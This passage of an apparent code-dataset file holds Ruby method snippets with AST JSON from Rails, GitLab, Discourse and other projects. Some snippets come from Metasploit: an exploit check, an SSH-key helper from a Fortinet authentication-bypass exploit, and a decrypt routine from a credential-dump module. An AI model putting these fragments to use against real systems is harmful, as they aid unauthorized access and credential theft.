,\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"total_occurrences\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"ai_events_counts\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"events_date\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_occurrences\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nulls_not_distinct\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_ai_events_counts_unique_tuple\"]}]}]}]}]}]}","id":"2775d2e0-0158-4e4f-a503-cdf37be3a84e"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/debug_exceptions.rb","start_line":134,"raw_source":"def render(status, body, format)\n        [status, { Rack::CONTENT_TYPE => \"#{format}; charset=#{Response.default_charset}\", Rack::CONTENT_LENGTH => body.bytesize.to_s }, [body]]\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"body\"]},{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"CONTENT_TYPE\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]}]},{\"type\":\"str\",\"children\":[\"; charset=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Response\"]},\"default_charset\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"CONTENT_LENGTH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"bytesize\"]},\"to_s\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"560482a6-63a3-411d-a537-a0c89d2ebb6e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/jira_hipchat_template.rb","start_line":174,"raw_source":"def check\n    checkcode = Exploit::CheckCode::Safe\n\n    if jira_cred_empty?\n      vprint_status(\"No username and password supplied, so we can only do a passive check.\")\n      checkcode = do_passive_check\n    else\n      checkcode = do_explicit_check\n    end\n\n    checkcode\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checkcode\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jira_cred_empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"No username and password supplied, so we can only do a passive check.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"checkcode\",{\"type\":\"send\",\"children\":[null,\"do_passive_check\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"checkcode\",{\"type\":\"send\",\"children\":[null,\"do_explicit_check\"]}]}]},{\"type\":\"lvar\",\"children\":[\"checkcode\"]}]}]}","id":"22723b16-d875-4bb6-a5b0-81bf330479a7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/request/session_test.rb","start_line":20,"raw_source":"def test_to_hash\n        s = Session.create(store, req, {})\n        s[\"foo\"] = \"bar\"\n        assert_equal \"bar\", s[\"foo\"]\n        assert_equal({ \"foo\" => \"bar\" }, s.to_hash)\n        assert_equal({ \"foo\" => \"bar\" }, s.to_h)\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_to_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Session\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"store\"]},{\"type\":\"send\",\"children\":[null,\"req\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"to_hash\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"to_h\"]}]}]}]}","id":"6787b9a2-ea4c-447d-ba31-9d9118eda989"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/environments/auto_delete_cron_worker.rb","start_line":18,"raw_source":"def perform\n      loop_until(timeout: LOOP_TIMEOUT, limit: LOOP_LIMIT) do\n        destroy_in_batch\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"const\",\"children\":[null,\"LOOP_TIMEOUT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"LOOP_LIMIT\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"destroy_in_batch\"]}]}]}","id":"550d2ed6-cfad-4d64-84d2-a7ff277b69c5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/admin_dashboard_data.rb","start_line":21,"raw_source":"def self.fetch_stats\n    new.as_json\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fetch_stats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"as_json\"]}]}","id":"be457e53-9a11-4f1d-ac81-120c5e21c7a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/pause_control/pause_control_service.rb","start_line":110,"raw_source":"def remove_jobs_from_waiting_queue(redis, jobs_with_scores)\n          first_score = jobs_with_scores.first.last\n          last_score = jobs_with_scores.last.last\n          redis.zremrangebyscore(redis_set_key, first_score, last_score)\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_jobs_from_waiting_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]},{\"type\":\"arg\",\"children\":[\"jobs_with_scores\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"first_score\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs_with_scores\"]},\"first\"]},\"last\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_score\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs_with_scores\"]},\"last\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"zremrangebyscore\",{\"type\":\"send\",\"children\":[null,\"redis_set_key\"]},{\"type\":\"lvar\",\"children\":[\"first_score\"]},{\"type\":\"lvar\",\"children\":[\"last_score\"]}]}]}]}","id":"ffa12cbf-67d3-45bb-9b98-9f065477daf2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/web_ide/vscode.rb","start_line":206,"raw_source":"def commit_and_push_to_existing_branch(file_name, message: COMMIT_SUCCESS_MESSAGE)\n            commit_toggle(file_name)\n            push_to_existing_branch(message: message)\n            Support::Waiter.wait_until { !has_text?(\"Loading GitLab Web IDE...\", wait: 1) }\n          end","complexity_score":6.78,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_and_push_to_existing_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"message\",{\"type\":\"const\",\"children\":[null,\"COMMIT_SUCCESS_MESSAGE\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit_toggle\",{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[null,\"push_to_existing_branch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Waiter\"]},\"wait_until\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_text?\",{\"type\":\"str\",\"children\":[\"Loading GitLab Web IDE...\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"!\"]}]}]}]}","id":"6ffe4e2b-7b79-424e-8298-5ffc2f6e13d7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/command_shell.rb","start_line":538,"raw_source":"def cmd_irb(*args)\n    expressions = []\n\n    # Parse the command options\n    @@irb_opts.parse(args) do |opt, idx, val|\n      case opt\n      when '-e'\n        expressions << val\n      when '-h'\n        return cmd_irb_help\n      end\n    end\n\n    session = self\n    framework = self.framework\n\n    if expressions.empty?\n      print_status('Starting IRB shell...')\n      print_status(\"You are in the \\\"self\\\" (session) object\\n\")\n      framework.history_manager.with_context(name: :irb) do\n        Rex::Ui::Text::IrbShell.new(self).run\n      end\n    else\n      # XXX: No vprint_status here\n      if framework.datastore['VERBOSE'].to_s == 'true'\n        print_status(\"You are executing expressions in #{binding.receiver}\")\n      end\n\n      expressions.each { |expression| eval(expression, binding) }\n    end\n  end","complexity_score":45.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_irb\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expressions\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@irb_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expressions\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_irb_help\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"framework\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expressions\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Starting IRB shell...\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"You are in the \\\"self\\\" (session) object\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"history_manager\"]},\"with_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"irb\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Ui\"]},\"Text\"]},\"IrbShell\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"run\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You are executing expressions in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"binding\"]},\"receiver\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expressions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expression\"]}]},{\"type\":\"send\",\"children\":[null,\"eval\",{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]}]}]}]}]}","id":"f41f75ab-dbfb-412b-8e76-6bd7cf53706d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb","start_line":123,"raw_source":"def authorized_keys\n    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)\n    \"#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost\"\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pubkey\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh_keygen\"]},\"public_key\"]},\"to_blob\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh_keygen\"]},\"ssh_type\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pubkey\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]},{\"type\":\"str\",\"children\":[\"@localhost\"]}]}]}]}","id":"6235f4cf-01ac-4f78-99c0-56ef12935b9c"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/supply/lib/supply/client.rb","start_line":461,"raw_source":"def update_track(track_name, track_object)\n      ensure_active_edit!\n\n      call_google_api do\n        client.update_edit_track(\n          current_package_name,\n          current_edit.id,\n          track_name,\n          track_object\n        )\n      end\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"update_track\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"track_name\"]},{\"type\":\"arg\",\"children\":[\"track_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_active_edit!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_google_api\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"update_edit_track\",{\"type\":\"send\",\"children\":[null,\"current_package_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_edit\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"track_name\"]},{\"type\":\"lvar\",\"children\":[\"track_object\"]}]}]}]}]}","id":"c4241e9d-9af5-4b38-9a0f-70f9e812bd87"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb","start_line":655,"raw_source":"def aes_cbc_decrypt(ciphertext_bytes, aes_key, aes_iv)\n    return false unless aes_iv.length == 16\n\n    case aes_key.length\n    when 16\n      decipher = OpenSSL::Cipher.new('aes-128-cbc')\n    when 32\n      decipher = OpenSSL::Cipher.new('aes-256-cbc')\n    else\n      return false\n    end\n    decipher.decrypt\n    decipher.key = aes_key\n    decipher.iv = aes_iv\n    decipher.padding = 1\n    decipher.update(ciphertext_bytes) + decipher.final\n  rescue OpenSSL::Cipher::CipherError\n    return false\n  end","complexity_score":25.55,"ast_json":"{\"type\":\"def\",\"children\":[\"aes_cbc_decrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ciphertext_bytes\"]},{\"type\":\"arg\",\"children\":[\"aes_key\"]},{\"type\":\"arg\",\"children\":[\"aes_iv\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes_iv\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[16]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aes_key\"]},\"length\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[16]},{\"type\":\"lvasgn\",\"children\":[\"decipher\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"aes-128-cbc\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[32]},{\"type\":\"lvasgn\",\"children\":[\"decipher\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"new\",{\"type\":\"str\",\"children\":[\"aes-256-cbc\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decipher\"]},\"decrypt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decipher\"]},\"key=\",{\"type\":\"lvar\",\"children\":[\"aes_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decipher\"]},\"iv=\",{\"type\":\"lvar\",\"children\":[\"aes_iv\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decipher\"]},\"padding=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decipher\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"ciphertext_bytes\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decipher\"]},\"final\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"Cipher\"]},\"CipherError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"77cb0207-e36f-4bb8-a851-35de3909e057"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/services/spree/seeds/store_credit_categories.rb","start_line":6,"raw_source":"def call\n        # FIXME: we should use translations here\n        Spree::StoreCreditCategory.find_or_create_by!(name: 'Default')\n        Spree::StoreCreditCategory.find_or_create_by!(name: 'Non-expiring')\n        Spree::StoreCreditCategory.find_or_create_by!(name: 'Expiring')\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"StoreCreditCategory\"]},\"find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Default\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"StoreCreditCategory\"]},\"find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Non-expiring\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"StoreCreditCategory\"]},\"find_or_create_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Expiring\"]}]}]}]}]}]}","id":"889c1533-3ac1-4ff2-8c72-ee3c70623fc7"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/files_query.rb","start_line":115,"raw_source":"def forge_ancestor(location)\n              Results::StorageFileAncestor.new(name: name(location), location:)\n            end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"forge_ancestor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"location\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Results\"]},\"StorageFileAncestor\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\",{\"type\":\"lvar\",\"children\":[\"location\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]}]}]}]}","id":"8dbee96d-bc20-4e48-98f9-e3b3886213dd"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/trash_message.rb","start_line":69,"raw_source":"def update_tracking_state(message:)\n      ::Chat::Action::ResetUserLastReadChannelMessage.call([message.id], [message.chat_channel_id])\n      if message.thread_id.present?\n        ::Chat::Action::ResetUserLastReadThreadMessage.call([message.id], [message.thread_id])\n      end\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update_tracking_state\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"Action\"]},\"ResetUserLastReadChannelMessage\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"chat_channel_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"thread_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"Action\"]},\"ResetUserLastReadThreadMessage\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"thread_id\"]}]}]},null]}]}]}","id":"0ecc48d0-0586-46b1-831e-d3570244bdf2"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":293,"raw_source":"def test_button_to_with_value\n    assert_dom_equal %{<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\"><button type=\"submit\" name=\"key\" value=\"value\">Hello</button></form>}, button_to(\"Hello\", \"http://www.example.com\", name: \"key\", value: \"value\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_button_to_with_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<form method=\\\"post\\\" action=\\\"http://www.example.com\\\" class=\\\"button_to\\\"><button type=\\\"submit\\\" name=\\\"key\\\" value=\\\"value\\\">Hello</button></form>\"]},{\"type\":\"send\",\"children\":[null,\"button_to\",{\"type\":\"str\",\"children\":[\"Hello\"]},{\"type\":\"str\",\"children\":[\"http://www.example.com\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}]}]}","id":"db9fa73c-df90-4841-8099-d1c53bbf8544"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/active_record/chat_methods.rb","start_line":176,"raw_source":"def create_user_message(content, with: nil)\n        content_text, attachments, content_raw = prepare_content_for_storage(content)\n\n        message_record = messages_association.build(role: :user)\n        message_record.content = content_text\n        message_record.content_raw = content_raw if message_record.respond_to?(:content_raw=)\n        message_record.save!\n\n        persist_content(message_record, with) if with.present?\n        persist_content(message_record, attachments) if attachments.present?\n\n        message_record\n      